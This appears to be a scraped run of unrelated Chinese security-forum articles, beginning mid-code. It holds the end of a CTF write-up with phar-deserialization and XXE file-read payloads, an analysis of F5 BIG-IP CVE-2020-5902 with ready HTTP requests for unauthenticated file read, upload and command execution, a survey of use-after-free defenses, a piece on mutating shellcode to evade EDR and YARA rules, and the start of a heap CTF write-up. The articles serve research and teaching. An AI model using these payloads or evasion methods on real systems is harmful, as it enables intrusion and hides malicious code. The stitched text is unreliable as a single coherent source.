private $dir;
function __construct($dir){
$this->dir = $dir;
}
function __toString(){
echo "String conversion...\n";
}
function __invoke($param1,$param2){
$this->$param1($param2);
}
private function getdir($path){
print_r(glob($path));
}
private function load($con){
simplexml_load_string($con,null,LIBXML_NOENT);
}
}
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/Maybe_flag_is_here.php">]>
<x>&file;</x>
EOF;
$payload = new TheUse(new MyClass('/var/www/html'), 'load', $xml);
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($payload);
$phar->addFromString('1.txt','test'); // phar:[phar.phar][system_get_you_filename]/1.txt
$phar->stopBuffering();
依旧是把生成的phar文件上传,使用phar协议反序列化：
?f=phar:///var/www/html/phar.phar
解码得到flag:
flag:`flag{this-is-flag-for-you}`
## 思考：
以前从未接触过XML读文件的函数，于是在解题时直接放入构造函数中，而不是先利用
$xml = <<<EOF
EOF
的形式构造，然后再传入构造函数 | 社区文章 |
**BIG-IP** 是 **F5** 公司制造的一款多功能网络设备，设备经配置后可作为流量控制系统、负载平衡器、防火墙、访问网关、速率限制器或
**SSL** 中间件。
## 基础信息
FOFA指纹：title="BIG-IP®- Redirect"
下载地址：[https://downloads.f5.com/esd/eula.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.1.0&container=Virtual-Edition&path=&file=&B1=I+Accept](https://downloads.f5.com/esd/eula.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.1.0&container=Virtual-Edition&path=&file=&B1=I+Accept)
F5登录账号：[email protected]/John12334
系统默认账号密码：root/default
Web默认账号密码：admin/admin
Web根目录：/usr/local/www/
影响版本：
F5 BIG-IP < 15.1.0.4
F5 BIG-IP < 14.1.2.6
F5 BIG-IP < 13.1.3.4
F5 BIG-IP < 12.1.5.2
F5 BIG-IP < 11.6.5.2
**F5 BIG-IP** 设备前端采用 **Apache** 来接受用户请求，后端可同时处理 **PHP** 和 **Java** 程序。而处理
**Java** 程序时，则是通过 **AJP** 协议，将 **Apache** 接收到的数据封装并流转给 **Tomcat** 。具体配置在
**/etc/httpd/conf.d/proxy_ajp.conf** 文件中，下面仅贴出关键配置。
# /etc/httpd/conf.d/proxy_ajp.conf
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
而 **Apache** 在处理 **/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp**
，会认为处理的是 **/tmui/login.jsp** 文件，但是 `.*\.jsp` 会进行最大限度的匹配，所以就会将完整的
**/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp** 转给 **Tomcat**
处理。关于 **Apache** 对访问权限校验的处理，得去看 **/etc/httpd/modules/mod_auth_pam.so**
，这里笔者能力有限不做逆向分析。
**Tomcat** 在处理 **/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp**
的时候，会先去除 **; /** 之间的字符，
具体代码在
**catalina.jar!/org/apache/catalina/connector/CoyoteAdapter.class:parsePathParameters()**
中。
然后再将 **/tmui/login.jsp/../tmui/locallb/workspace/fileRead.jsp** 处理成
**/tmui/tmui/locallb/workspace/fileRead.jsp** ，具体处理代码在
**catalina.jar!/org/apache/catalina/connector/CoyoteAdapter.class:normalize()**
。
所以这次的权限绕过漏洞，实际上还是出在 **Apache** 和 **Tomcat** 对 **URL**
的解析差异。在绕过权限校验后，后台的功能代码基本上都能利用。下面贴几个网上利用最多的几个 **JSP**
漏洞文件的源码，具体漏洞成因就不再分析了，看源码即可。
## 未授权任意文件读取
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: 192.168.43.115
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
## 未授权任意文件上传
POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 192.168.43.115
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
fileName=/tmp/1&content=id
## 未授权命令执行
可以看到想要执行命令，那么就必须满足以下两个条件：
// 命令的第一个指令必须是：create、delete、list、modify其中一个
public static JSONObject runTmshCommand(String command) {
String operation = command.split(" ")[0];
if (ShellCommandValidator.checkForBadShellCharacters(command) || !operation.equals("create") && !operation.equals("delete") && !operation.equals("list") && !operation.equals("modify")) {
error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
}
}
//命令不能包含以下特殊字符
public static boolean checkForBadShellCharacters(String value) {
char[] cArray = value.toCharArray();
for(int i = 0; i < cArray.length; ++i) {
char c = cArray[i];
if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r') {
return true;
}
}
return false;
}
所以我们就得去查查 **tmsh** 的官方手册，看看有什么可以利用的地方。通过查阅手册，我们发现可以给命令定义别名。那么我们实际上可以将上面要求的
**create、delete、list、modify** 指定成 **/bin/bash** ，这样就可以执行任意系统命令了。
# 定义别名语法：
create /cli alias [xx] command ["save /sys config"]
# 删除别名语法：
delete /cli alias [xx]
网上公开的执行命令 **POC** 步骤如下：
# 获取admin用户账号密码
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
1.修改alias劫持list命令为bash
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+/cli+alias+private+list+command+bash
3.执行bash文件
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/xxx
4.还原list命令
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
上面几个 **Jsp** 文件，实际上都没有做任何的权限校验。通过查看 **/usr/share/tomcat/conf/web.xml** ，可以知道
**Tomcat** 的 **HTTP** 服务开放在 **9832** 端口，我们可以直接访问
<http://localhost/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd>
触发任意文件读取漏洞。
## 利用hsqldb反序列化
国外攻击者发现，该漏洞还可以通过 **hsqldb** 反序列化执行任意 **Java** 代码，漏洞利用代码已经公开在
<https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902>
。我们也可以本地写个 **Demo** 代码，验证这个反序列化漏洞，效果如下。
## 修复&绕过
在最开始，攻击者通过使用 **..;** 来绕过权限验证，官方发布了如下加固措施(禁止路径中有 **..;** 符号)：
include '
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
'
在这补丁之后，攻击者发现可以通过 <http://vulnsite/hsqldb;/> 来绕过上面的补丁。于是官方又发布了如下加固措施(禁止路径中有
**;** 符号)：
include '
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
'
然而研究人员发现漏洞仍然可以通过 <http://vulnsite/hsqldb%0a> 来触发，最终官方发布了如下加固措施(禁止路径中有 **;**
符号以及 **hsqldb** 字符串)：
include '
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
'
## 参考
<https://medium.com/certik/cve-2020-5902-analysis-f5-big-ip-rce-vulnerability-3a3ae6278128>
<https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/>
[漏洞风险提示 | F5 BIG-IP
远程代码执行漏洞（CVE-2020-5902）缓解方案绕过（二）](https://mp.weixin.qq.com/s/kNezHzgKwam0pNKQ6AJWsg) | 社区文章 |
# 内存时间安全防御研究进展
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
系统级别语言以其高性能高效率而广泛应用于各类软件的编写，但同时也饱受内存时间安全问题所扰。
近些年来，像释放后重用漏洞这类的内存时间安全漏洞数量逐渐增多，对软件安全造成了很大的威胁。因而，这些年来涌现了许多关于保障内存时间安全的研究。本文通过归纳总结不同内存时间安全防御的研究，并探讨内存时间安全的未来研究方向。
## 引言
内存安全问题一直都是计算机安全领域所关注的重点问题。据MITRE统计[1]，2019年最高危的前十个CWE中，内存安全类漏洞占了约50%。而导致内存安全漏洞泛滥的原因是大量的软件都是基于不安全的语言，如C和C++。这类语言具有对内存直接操作的特性，从而提高了编程效率和程序的性能，但也正因为能对内存操作，所以引入了许多内存安全问题。而且这类语言编写的代码存在于各类系统级软件中，如操作系统、虚拟机等。用其他相对安全的语言是很难替代这类语言完成这些系统级软件的编写的，因为缺乏对于计算机底层操作的支持。此外，现存的大量软件都存在这类安全问题，重写这些软件也是不太现实的。
内存安全可以分为内存空间安全和内存时间安全。由于内存空间漏洞具有危害大，容易利用等特点，现阶段关于内存空间安全的研究较为成熟。相比之下，关于内存时间安全的研究相对较少。内存时间安全问题主要是由Use
After Free（UAF）和Double
Free等指针状态类漏洞导致的。攻击者可以利用这样的UAF漏洞操作数据输入来获取整个程序的控制权甚至是整个系统[2]。对于内存空间安全漏洞，使用边界检查的机制能很大程度上缓解，但边界检查对于UAF漏洞无效。UAF漏洞存在因此，未来的计算机系统不仅要考虑内存空间安全，也要考虑到内存时间安全，才能构建完整的安全体系结构。
随着这些年关于内存时间安全的研究增多，要区分不同研究的优劣成了一个相对比较难的问题。因此，本文旨在系统化地整理和评估近些年提出的解决方案。本文首先描述UAF漏洞利用的原理，分析UAF漏洞利用的条件，并根据该条件划分防御方法并对其进行评估。防御方法的评估基于健壮性，兼容性和性能开销。最后本文基于该评估，总结各方法的优劣并提出未来内存时间安全防御的可能研究方向。
## 背景
### 悬垂指针与UAF漏洞的关系
悬垂指针指的是指向某对象的指针，当对象释放后，该指针指向的是内存是不确定的。所以称该指针为悬垂指针。
图1 Use After Free 漏洞示例代码
UAF漏洞本质上是悬垂指针的重引用。图1展示了一个UAF漏洞代码。其可简化为三步：第一，程序先是在堆上为 **buf1** 分配了 **size**
大小的空间，之后释放 **buf1** ，使得 **buf1**
成为悬垂指针，即其指向的内存数据是不可预测的。这块内存有可能被堆管理器回收，也可能被其他数据占用，存在着很大的不可预测性。第二，程序为 **buf2**
在堆上分配与 **buf1** 相等大小的空间，这里由于 **buf1** 的释放和 **buf2**
的分配内存的时间间隔较近，且分配的内存大小一致，根据内存分配的原则，有很大可能使得 **buf2** 分配到已释放的 **buf1**
的内存位置上去。第三，重引用悬垂指针 **buf1** 。这里为其赋值为 **“hack”** 字符串，由于 **buf2** 和 **buf1**
指向同一块内存，将会导致 **buf2** 的值也被篡改为“ **hack”** 。
### 内存时间安全漏洞利用方式
内存时间安全威胁主要由UAF漏洞导致，但也包括双重释放漏洞[3]。
图2 Use After Free 攻击图解
利用UAF漏洞实施攻击的核心思路是攻击者在已释放区域放置精心构造的数据，当程序重引用悬垂指针时，就会触发攻击。所以如果攻击者在释放区域设置一个虚拟函数表指针，当内存重引用悬垂指针时，就会跳转到攻击者想要执行的代码位置处执行代码，从而使攻击者劫持程序的控制流,如图2所示。另一个利用UAF漏洞的例子是攻击者将用于检查访问合法的root权限标志放在已释放区域，就可以实现权限提升攻击。而且如果漏洞存在于内核中，攻击者将能控制整个系统。此外，还可以利用这类漏洞篡改关键数据，也可以实现非控制数据攻击。因此，UAF漏洞可以作为多种攻击的突破口。
双重释放漏洞，则是UAF漏洞的一个特例，只是用悬垂指针来调用 **free**
函数。在这种案例下，由攻击者控制内容的新对象会被误认为是堆的元数据，从而可以写任意内存[3]。
总之，成功利用UAF漏洞实施攻击需要三个必不可少的元素：一是悬垂指针的产生，二是分配到了悬垂指针所指向的内存空间的对象，三是重引用悬垂指针的指令（读或写）。
### 内存时间安全的挑战
图1显示的代码只是一种简单的UAF漏洞利用方式，现实生活中的UAF漏洞要更复杂的多。首先，UAF漏洞利用需要的三个元素可以存在于不同的函数和模块中。其次，实际应用运行时，这些操作可能会在不同的线程中发生。比如浏览器需要处理来自JavaScript或者DOM树的各种事件，UI应用需要处理用户产生的事件，然后服务器端还要处理大量的用户请求。基于如此复杂的场景，导致程序员很难避免这类漏洞。最后，指针还可以传播复制到程序的各种地方，加大了悬垂指针发现的难度。
而要放弃使用C或C++这种语言也是不现实的，因为许多底层的系统的实现需要这类语言操作内存的特性。况且，现存的许多软件都是基于这类语言编写的。因此，内存时间安全保障的机制必不可少。
## 内存时间安全防御方法
要成功利用UAF漏洞实现攻击需要三个要素：悬垂指针、复用已释放的内存，重引用悬垂指针的指令。因此，只要消除其中的某个元素就能达到内存时间安全防御的目的，于是主要方法可分为以下三类：基于消除悬垂指针的方法，基于内存分配的方法，基于防止重引用的方法。实际上有些方法消除了其中的两个或所有元素，这里按时间顺序归类，即某方法消除了第二，三个元素，则将其归为第二类方法。
### 基于消除悬垂指针的方法
基于指针的方法的核心思路是两步：第一，找到悬垂指针；第二，悬垂指针置空。这类方法有DangNull[4]、FreeSentry[5]、DangSan[6]和PSweeper[7]。DangNull针对内存时间安全的根本原因——悬垂指针，通过指针追踪对象的信息，当对象被释放时，将其指针置空，从而避免后续的潜在威胁。但是，DangNull只能追踪堆上对象的指针，而无视了栈和全局内存上的。FreeSentry改善了这点，可以追踪所有的指针，并降低了运行开销，但是其不支持多线程程序。而多线程程序如服务器，浏览器是UAF漏洞存在的主要地方。因此，研究者基于前面两个的研究，提出了DangSan，使得其可以支持多线程应用。但以上三种方法因为需要维护指针和对象的关系，而导致运行开销很大，而且需要在许多地方加锁来避免应用多线程的竞争。基于这些缺点，PSweeper诞生了，其在并发线程中去迭代地搜索悬垂指针，并使用对象源追踪技术来无效化悬垂指针。PSweeper使用空闲的CPU核来减少安全检查的延迟，相比上面三种方法消耗的CPU资源会更多，但会更加有效。
以上方法都是基于编译器来实现的方法，此外也有基于硬件来清洗悬垂指针的方法，比如BOGO[8]、CHERIvoke[9]。BOGO基于Intel的MPX改进，通过复用MPX的元数据来验证已释放区域的悬垂指针，使之能保护内存时间安全。但是MPX存在开销大、不支持多线程、与ISA组件存在冲突等诸多问题，使得BOGO能否应用实际成了问题。不过这种基于已有硬件来扩展的思路启发了CHERIvoke。其基于CHERI[10]架构，利用内存标记的技术，仅使用1bit的标签元数据，就能在运行时清扫内存将悬垂指针无效化。
### 基于内存分配的方法
通过避免对象分配复用已被释放对象的内存，来防止UAF漏洞的利用。所以这类方法有Cling[11]、DieHarder[12]和Address
Sanitizer[13]，其通过修改计算机内存分配的机制，来避免恶意对象复用已释放对象内存空间。
防止对象复用已释放对象内存的一种简单思路是从不使用已释放对象的内存，但如果遇到频繁释放对象内存的程序，就会造成内存的严重浪费。而Cling通过限制内存分配，只允许相同类型的对象之间重用地址空间，因此降低了性能和内存开销，并且保证了类型安全内存复用，防止了大部分的悬垂指针攻击，但不能防止攻击者重用本地堆栈分配的对象来实施攻击。DieHarder和Address
Sanitizer都使用了一种延迟-复用技术，防止分配的新对象的内存空间是刚释放的旧对象的空间。但DieHarder与Address
Sanitizer的目的不同，DieHarder的目的是为了提供系统运行时的防御，而Address
Sanitizer更多是在系统运行前作为调试工具，检测出漏洞。这些系统能够发现非人为的UAF操作，但不适合检测蓄意的攻击[4]，比如通过堆喷射来绕过这种防御机制。
此外，也有使用基于页表的技术进行分配内存，如Oscar[14]。其将每个分配的对象放在不同的虚拟页中，当一个对象被释放了，就修改相应的虚拟页的权限，使得悬垂指针无法访问被释放后的内存地址。这种基于页表的方式当分配内存大时，性能开销比较小。但是遇到频繁的小内存分配就会加大性能和内存开销，这是因为每次分配都会赋予一个虚拟页，这就导致TLB的压力，从而造成性能的下降。
除了以上使用软件方式实现的内存分配，使用硬件方法的有REST[15]和Califorms[16]。
REST用8-64B的令牌填充所有释放的内存，并将其置于独立的隔离池中。直到空闲的内存池消耗殆尽，这些隔离的内存才用于重新分配。因此，由于已释放的内存处于黑名单中，此时通过悬垂指针访问都是无效的，从而保证了内存时间安全。Califorms也是使用相同的方式，只不过元数据的粒度处于字节级别，是基于REST方法的改进，整体开销更小，保护面更广，能保护对象内安全（intra-object security）。
### 基于检测重引用的方法
这类方法聚焦于检测UAF利用的第三步，也是实质上对内存时间安全产生危害的UAF操作，如图1的第11行。这类方法的思路类似锁和钥匙，每次分配的内存都会赋予一个锁，并且每个有效的指向该内存的指针也会赋予一个匹配的钥匙。只有相互匹配的锁与钥匙才能进行合法的操作。而当内存重分配以后，对应的锁也就变了。因此，如果重引用悬空指针的话，就可以视为使用一把旧钥匙去开一把新锁，从而被系统检测出来重引用悬空指针这一操作。
基于软件方法实现这一思路的有CETS[17]和Undangle[18]。
CETS，使用基于身份的方案，为每一个指针分配一个标签，并在指针被重引用时检查标签和其分配的区域，若不匹配则内存访问失败，从而避免悬空指针的重引用。为了应对指针运算的情况，CETS使用了污点传播，使得传播的指针继承了原有的指针元数据，但是事实上传播的指针不一定和原来指针指向相同的对象，这就导致这种方法的假阳性比较高。因此，研究者提出了基于污点追踪的方法Undangle，其从指针分配的位置开始跟踪，避免了当指针以类型不安全的形式复制时丢失元数据的情况，从而达到比较好的保护效果。
然而基于软件方法实现这一思路需要在每次内存访问时都要进行一次检测，从而导致性能开销很大，更适合作为调试工具，而非运行时系统的防御。因此研究者开始着力于减小性能开销，从而诞生了基于硬件的实现方法，诸如Watchdog[19]和WatchdogLite[20]。
Watchdog的检测重引用悬空指针操作和CETS相似，主要是在内存访问检测做了很多优化，包括使用微指令注入、元数据编码、ISA辅助识别和寄存器重命名技术。虽然极大地降低了运行性能开销，然而付出的代价是硬件的复杂性过高。于是Watchdog的研究者提出了WatchdogLite这一改进版本。WatchdogLite通过硬件优化来利用编译器检测指针，从而不需要添加任何新的硬件来保存元数据的状态，降低了硬件复杂性同时也保证较低的运行开销。
## 未来研究方向
表1总结了上述的方法，其内存开销和运行开销都是基于SPEC 2006测试的。下面将对这三类方法进行讨论。
在消除悬垂指针方法中，又可按照具体实现分为基于硬件和基于软件。基于软件的方法通常是维护指针和对象的关系来置空指针，而要维护指针和对象的关系，就需要存储比较复杂的元数据，从而导致了内存开销过大。文中提到的基于硬件的方法都是基于已提出的硬件结构稍加扩展来保护内存时间安全的。虽然性能开销和内存开销都要相对软件方法优越，但能否应用实际存在比较大的考量。
内存分配方法中，实现方式也可以分为硬件和软件。早期的该类方法主要目的是以低开销的方式增加漏洞利用难度。除了Address
Sanitizer是作为检测工具，所以牺牲了运行开销。近期研究使用基于页表的技术，兼容性好，但开销稍微大一些。基于硬件的方法主要使用的隔离缓冲区的技术，本质上也是延迟复用已释放内存的区域。这类方法的优势是可以结合其他技术，构成更强的内存安全防护体系。
检测重引用的方法中，通常需要跟踪指针动态。而指针存在很多不确定性，因为其可能被复制多份传播到程序各处。要提高跟踪准确率，就需要相应的开销来维持，否则只能降低开销，来保证部分安全。该类方法和消除悬垂指针的方法也有些相似，都需要追踪指针动态，不同的是两种方法在指针重引用时做的操作不同，前者是做检测，后者是消除悬空指针。从而导致检测重引用的方法主要花费开销在检测上。
总体来看，基于硬件的方法和基于软件的方法在安全上效果相差不大，但硬件方法在减小开销上更胜一筹，而软件方法在兼容性上具有优势。所以未来的研究可以从软硬件协同防御入手，基于兼容性较好的硬件扩展，来完善硬件缺失的安全功能，使得研究能够应用实际。此外，由于UAF漏洞广泛存在于多线程应用中，而这些研究中只有少部分支持多线程应用。因此，今后的内存时间安全研究也应考虑支持多线程。
## 总结
本文针对悬垂指针引发的UAF漏洞，综述了内存时间安全的研究现状。首先简述如何利用UAF漏洞实施攻击，突出了UAF漏洞利用的三要素。并以此为据，将内存时间安全研究分为三类，论述了这三类方法的基本思路。接着，基于安全、运行开销、兼容性这三点对各方法进行评估，并提出未来内存时间安全可能的研究方向。
## 参考文献
[1] “2019 CWE Top25 Most Dangerous Software Errors” MITRE,
<https://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html>, Sept. 2019.
[2] Xu, Wen, et al. “From collision to exploitation: Unleashing use-after-free
vulnerabilities in linux kernel.” Proceedings of the 22nd ACM SIGSAC
Conference on Computer and Communications Security. 2015.
[3] Szekeres, Laszlo, et al. “Sok: Eternal war in memory.” 2013 IEEE Symposium
on Security and Privacy. IEEE, 2013.
[4] Lee, Byoungyoung, et al. “Preventing Use-after-free with Dangling Pointers
Nullification.” NDSS. 2015.
[5] Younan, Yves. “FreeSentry: protecting against use-after-free
vulnerabilities due to dangling pointers.” NDSS. 2015.
[6] Van Der Kouwe, Erik, Vinod Nigade, and Cristiano Giuffrida. “Dangsan:
Scalable use-after-free detection.” Proceedings of the Twelfth European
Conference on Computer Systems. 2017.
[7] Liu, Daiping, Mingwei Zhang, and Haining Wang. “A robust and efficient
defense against use-after-free exploits via concurrent pointer sweeping.”
Proceedings of the 2018 ACM SIGSAC Conference on Computer and Communications
Security. 2018.
[8] Zhang, Tong, Dongyoon Lee, and Changhee Jung. “BOGO: buy spatial memory
safety, get temporal memory safety (almost) free.” Proceedings of the Twenty-Fourth International Conference on Architectural Support for Programming
Languages and Operating Systems. 2019.
[9] Xia, Hongyan, et al. “CHERIvoke: Characterising Pointer Revocation using
CHERI Capabilities for Temporal Memory Safety.” Proceedings of the 52nd Annual
IEEE/ACM International Symposium on Microarchitecture. 2019.
[10] Watson, Robert NM, et al. “Cheri: A hybrid capability-system architecture
for scalable software compartmentalization.” 2015 IEEE Symposium on Security
and Privacy. IEEE, 2015.
[11] Akritidis, Periklis. “Cling: A Memory Allocator to Mitigate Dangling
Pointers.” USENIX Security Symposium. 2010.
[12] Novark, Gene, and Emery D. Berger. “DieHarder: securing the heap.”
Proceedings of the 17th ACM conference on Computer and communications
security. 2010.
[13] Serebryany, Konstantin, et al. “AddressSanitizer: A fast address sanity
checker.” Presented as part of the 2012 {USENIX} Annual Technical Conference
({USENIX}{ATC} 12). 2012.
[14] Dang, Thurston HY, Petros Maniatis, and David Wagner. “Oscar: A practical
page-permissions-based scheme for thwarting dangling pointers.” 26th {USENIX}
Security Symposium ({USENIX} Security 17). 2017.
[15] Sinha, Kanad, and Simha Sethumadhavan. “Practical memory safety with
REST.” 2018 ACM/IEEE 45th Annual International Symposium on Computer
Architecture (ISCA). IEEE, 2018.
[16] Sasaki, Hiroshi, et al. “Practical byte-granular memory blacklisting
using califorms.” Proceedings of the 52nd Annual IEEE/ACM International
Symposium on Microarchitecture. 2019.
[17] Nagarakatte, Santosh, et al. “CETS: compiler enforced temporal safety for
C.” Proceedings of the 2010 international symposium on Memory management.
2010.
[18] Caballero, Juan, et al. “Undangle: early detection of dangling pointers
in use-after-free and double-free vulnerabilities.” Proceedings of the 2012
International Symposium on Software Testing and Analysis. 2012.
[19] Nagarakatte, Santosh, Milo MK Martin, and Steve Zdancewic. “Watchdog:
Hardware for safe and secure manual memory management and full memory safety.”
2012 39th Annual International Symposium on Computer Architecture (ISCA).
IEEE, 2012.
[20] Nagarakatte, Santosh, Milo MK Martin, and Steve Zdancewic. “Watchdoglite:
Hardware-accelerated compiler-based pointer checking.” Proceedings of Annual
IEEE/ACM International Symposium on Code Generation and Optimization. 2014. | 社区文章 |
今天我们发布了一个新的工具来帮助红队成员避免被EDR发现。壳代码是一小段代码，通常用作漏洞利用的有效负载，通常可以通过其"签名"或唯一模式检测到。Shellcode
Mutator可在不影响其功能的情况下改变利用漏洞攻击源代码，更改其特征码并使其更难被可靠地检测为恶意代码。
## 壳代码
**网站名称：**[https：//github.com/netitude/ShellcodeMutator](https://github.com/nettitude/ShellcodeMutator)
## 背景
用汇编语言编写壳代码的一个主要好处是，你可以完全控制壳代码的结构。
例如，源文件中函数的内容和顺序可以（显然）更改，代码可以编译为新版本的壳代码。这些改变不一定是功能性的，但是，我们可以使用自动化工具来改变壳代码源代码，以便每次我们编译它时，功能保持不变，但内容发生了变化。
这意味着生成的壳代码将具有不同的大小、文件哈希、字节顺序等，这将使其更难在静态和内存中可靠地检测。
这种能力与壳代码加密等是正交的，因为在某个点上，加密和编码的壳代码需要被解密、解码和解扰，以便它可以实际上被执行，并且在这个点上，它可以被检测到。
让我们使用一个具体的例子，如果有点做作。
## 测试用例
我们可以[从Didier
Stevens那里获得一些MessageBox壳代码](https://blog.didierstevens.com/2009/06/30/messagebox-shellcode/)的nasm源代码，按照他的指令编译并注入它，我们成功地得到了一个消息框--到目前为止一切顺利。
如果我们要提取这个shell代码作为一个blue
teamer，并希望编写检测来捕获它，我们可以记录哈希，检查内容和反汇编，然后编写一个[yara](https://github.com/VirusTotal/yara)规则，以便能够在内存或磁盘上捕获它。
如下所示，我们可以使用binary refinery快速查看一下二元。
我们还注意到sha256哈希值是`a8fb8c2b46ab00c0c5bc6aa8d9d6d5263a8c4d83ad465a9c50313da17c85fcb3`。
Rizin可以用来检查壳代码的反汇编。
如果我们要为此编写一个非常快速的yara规则，我们可能会选择关注执行一些设置的初始字节。替换偏移（例如`[原始码+0x113]`），并将字节向上取到第二个调用`0x0000001b`我们可以编写一个快速的yara规则来匹配内存和磁盘中的shell代码，但不匹配其他代码。`C：\windows\system32`
（测试假阳性）。
该规则匹配磁盘和内存中的壳代码，并且不会对中的任何内容触发误报`C：\windows\system32`。
所以我们有一个可靠的yara规则，并添加到我们的威胁狩猎
## 壳代码突变体
这就是[Shellcode
Mutator](https://github.com/nettitude/ShellcodeMutator)项目的用武之地。这个简单的python脚本将解析nasm源代码，并以随机间隔插入指令集，这些指令集“什么也不做”，但随后将以增加大小为代价改变shell代码的字节顺序和文件散列。
这个脚本很容易使用，它有一个源代码“模板”、一个输出文件、一个变形百分比和一个设置`x86`与`x64`模式的标志。
这个脚本有一些基本的逻辑来检查源代码行，但本质上有一些可以扩展的指令集，一个用于`x86`，一个用于`x64`。这些指令集中的每一项在所有指令执行完毕后，都应使所有寄存器与标志保持与执行前相同的状态，以确保壳代码可以继续运行而不会出错。
与其他一些逻辑一起，脚本将以随机间隔（由变形百分比决定）将这些指令集放置在`汇编指令`变量：
如果我们对MessageBox壳代码运行该脚本，将变形百分比设置为15%，则得到的源代码文件为57行，而不是53行。编译该壳代码并执行yara搜索，结果显示没有捕获到该代码，只有原始壳代码匹配。
通过检查二进制文件的反汇编，可以发现它在我们匹配的字节中插入了一条nop（`0x90`）指令（除了在其他地方）。这当然也改变了文件哈希。
当然，这其中有运气的因素。我们需要确保我们更改了足够多的字节，使得任何yara规则不再匹配，而实际上不知道这些yara规则是什么（或任何其他检测）。增加变形百分比将增加修改的次数，并以增加壳代码大小为代价，增加绕过任何规则的可能性。
当然，最大的问题是，我们的壳代码是否还能运行
okk！
## 下载壳代码变量
**网站名称：**[https：//github.com/netitude/ShellcodeMutator](https://github.com/nettitude/ShellcodeMutator)
## 参考文献
* <https://blog.didierstevens.com/2009/06/30/messagebox-shellcode/>
* <https://github.com/VirusTotal/yara>
* <https://github.com/binref/refinery/>
* <https://github.com/rizinorg/rizin> | 社区文章 |
# PWNHUB 七月公开赛 Mynote、MynoteMax Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
由于是公开赛的缘故，两道题目都比较简单，第二道题目只是第一道题目加了一个沙箱。
我们这里着重分析第一题，然后再讲解如何利用在第一题的基础上构造出第二题。
## 程序分析
这是一道堆的菜单题，分别有三个功能 Add、Show 和 Delete。
相对于常规的堆的菜单题，缺少了 Edit 功能，也就是只能在 Add 之后进行 Edit 编辑。
### 恢复程序符号
这一点是我之前不重视的，但是现在发现其实这一点是非常重要的，这对于我们审题能够带来非常大的帮助。这就像磨刀不误砍柴工一样，花费一些时间去恢复程序的符号信息，能够让我们快速找到程序的漏洞，理解程序的运作流程。
我一般看堆的菜单题，优先看程序的菜单函数，了解到程序存在的所有功能，再利用菜单的选项来对各个功能函数进行命名。命名之后，就是找到 Show 函数，根据
Show 函数的输出信息来设置结构体，例如这道题。
他的 Show 函数是这样的，但是实际上我们根据他给出的输出就可以整理一个整体的思路来确定各个结构体元素对应的意义。
例如他这里出现的
qword_202040 = (__int64)&unk_202060 + 16 * v1;
我们就可以得知他是一个总长度为 16（0x10）的结构体，并且以 v1 作为索引来取得某个结构体的指针。
printf("| Size: %d\n", *(unsigned int *)qword_202040);
printf("| Content: %s", *(const char **)(qword_202040 + 8));
